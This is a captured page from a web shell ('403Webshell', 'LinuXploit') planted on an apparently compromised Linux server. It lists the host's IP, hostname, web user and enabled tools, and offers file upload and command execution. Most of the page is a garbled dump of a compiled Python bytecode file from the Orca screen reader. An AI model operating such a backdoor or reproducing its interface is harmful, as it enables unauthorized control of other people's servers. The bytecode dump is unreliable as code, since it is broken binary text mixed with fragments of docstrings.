403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/orca/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/orca/__pycache__/find.cpython-310.pyc
o

S�b3�@srdZdZdZdZdZdZddlZddlZdd	lm	Z	dd
lm
Z
ddlmZddlmZGd
d�d�Z
dd�ZdS)z(Provides support for a flat review find.z$Id$z
$Revision$z$Date$z-Copyright (c) 2005-2008 Sun Microsystems Inc.�LGPL�N�)�debug)�flat_review)�messages)�
orca_statec@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�SearchQueryz3Represents a search that the user wants to perform.cCs0d|_d|_d|_d|_d|_d|_tj|_dS)a�Creates a new SearchQuery. A searchQuery has the following
           properties:

           searchString     - the string to find
           searchBackwards  - if true, search upward for matches
           caseSensitive    - if true, case counts
           matchEntireWord  - if true, only match on the entire string
           startAtTop       - if true, begin the search from the top of
                              the window, rather than at the current
                              location
           windowWrap       - if true, when the top/bottom edge of the
                              window is reached wrap to the bottom/top
                              and continue searching
        �FN)	�searchString�searchBackwards�
caseSensitive�matchEntireWord�
windowWrap�
startAtTopr�LEVEL_FINEST�
debugLevel)�self�r�+/usr/lib/python3/dist-packages/orca/find.py�__init__(szSearchQuery.__init__c	Cs�t�|jd�t�|jd||j|j|j|jf�t�|jdt|j��t�|jdt|j|jj	��t�|jdt|j|jj	|jj
��t�|jd�dS)z:Prints out the context and the string to find to debug.outz<------------------------------------------------------------z-findQuery: %s line=%d zone=%d word=%d char=%dzNumber of lines: %dz#Number of zones in current line: %dz#Number of words in current zone: %dz<==========================================================

N)r�printlnr�	lineIndex�	zoneIndex�	wordIndex�	charIndex�len�lines�zones�words)r�context�stringrrr�debugContextAs4�
���������zSearchQuery.debugContextc
Cs�td�tdt|j��D]L}td|�tdt|j|j��D]8}td|�tdt|j|j|j��D]!}td||j|j|j|jt|j|j|j|j�f�q5qqdS)z+Debug utility which prints out the context.�DUMPrz	  Line %dz    Zone: %dz"      Word %d = `%s` len(word): %dN)�print�rangerrrrr )rr�i�j�krrr�dumpContextVs �����zSearchQuery.dumpContextc	Cst|j}|j}|j}|j}t�|jd||||f�tj}|j	s$|tj
B}|jr/d|jd}n|j}t�
||�}	t�|jd|j|f�|jrT|�tjj�|�|d�d}
d}d}d}
|�s|�tjj�\}}}}}t�|jd|||||f�t�|	|��r�|
�s�|�s|�tjj�\}}}}}t�|jd|||f�t�|jd	||f�t�|	|��rB|j|jj|j}||jko�||jk}z|j��WnYnqt�|	|�}g}|D]
}|�|�d
��q�|jr�|� �d
}|�sB|t!|�k�rB|�"||�\}}|�r8|j#|j}|j�r|d
k�s|j�s'|d
k�r'|j#|_d
|_d}n|�s3|�r0|�r3d}n|d7}nn	|�sB|t!|�ks�|�s}|j�rg|�$tjjtjj%�}|�|d
�|�&tjj�|�|d�n|�'tjjtjj%�}|�|d�|�s}d}
n|r�n�|j�r�|�$tjjtjj%�}|�|d�n|�'tjjtjj%�}|�|d�|�r�|j�r�|�&tjj�}|�|d�nL|j(�r|�st)j*}d}
d}|j�r�|�+t,j-�|�$tjjtjj.�}|�|d�n|�+t,j/�|�'tjjtjj.�}|�|d�|�st�|jd�nnn|r_|�rt0�0|�}
|�|d�|�1||||�|�|d�|
�r8t�|jd|
j|
j|
j|
jf�|
S)a9Performs a search on the string specified in searchQuery.

           Arguments:
           - context: The context from active script
           - justEnteredFlatReview: If true, we began the search in focus
             tracking mode.

           Returns:
           - The context of the match, if found
        z;findQuery: original context line=%d zone=%d word=%d char=%dz\bz'findQuery: startAtTop: %d  regexp: `%s`zgo beginNFz9findQuery: current line=`%s` x=%d y=%d width=%d height=%dz'findQuery: current zone=`%s` x=%d y=%d zwidth=%d height=%drTrz[1] go previousz
[1] go endz[1] go nextz[2] go previousz[2] go nextz
[2] go endz[3] go previousz[3] go nextzfindQuery: cannot wrapzbefore setting originalzafter setting originalz4findQuery: returning line=%d zone=%d word=%d char=%d)2rrrrrrr�re�LOCALEr�
IGNORECASEr
r
�compiler�goBeginr�Context�WINDOWr!�
getCurrent�LINE�search�ZONErr�
accessible�	queryText�finditer�append�startr�reverser�getWordAtOffset�index�
goPrevious�	WRAP_LINE�goEnd�goNextrr�activeScript�presentMessager�WRAPPING_TO_BOTTOM�WRAP_ALL�WRAPPING_TO_TOP�copy�
setCurrent)rr�justEnteredFlatReview�originalLineIndex�originalZoneIndex�originalWordIndex�originalCharIndex�flags�regexp�pattern�location�found�
wrappedYet�doneWithLine�currentLine�x�y�width�height�currentZone�theZone�startedInThisZone�
allMatches�offsets�mr%�nextInstance�offset�
offsetDiff�moved�scriptrrr�	findQuerybsL���
��������
�
�
��
�
�
��
�����O
�
�������
����zSearchQuery.findQueryN)�__name__�
__module__�__qualname__�__doc__rr!r(rcrrrrr%srcCst�tj�}|S)z�Grabs the last search query performed from orca_state.

       Returns:
       - A copy of the last search query, if it exists
    )rEr�searchQuery)�	lastQueryrrr�getLastQuery!srj)rg�__id__�__version__�__date__�
__copyright__�__license__rEr)r	rrrrrrjrrrr�<module>s}

Youez - 2016 - github.com/yon3zu
LinuXploit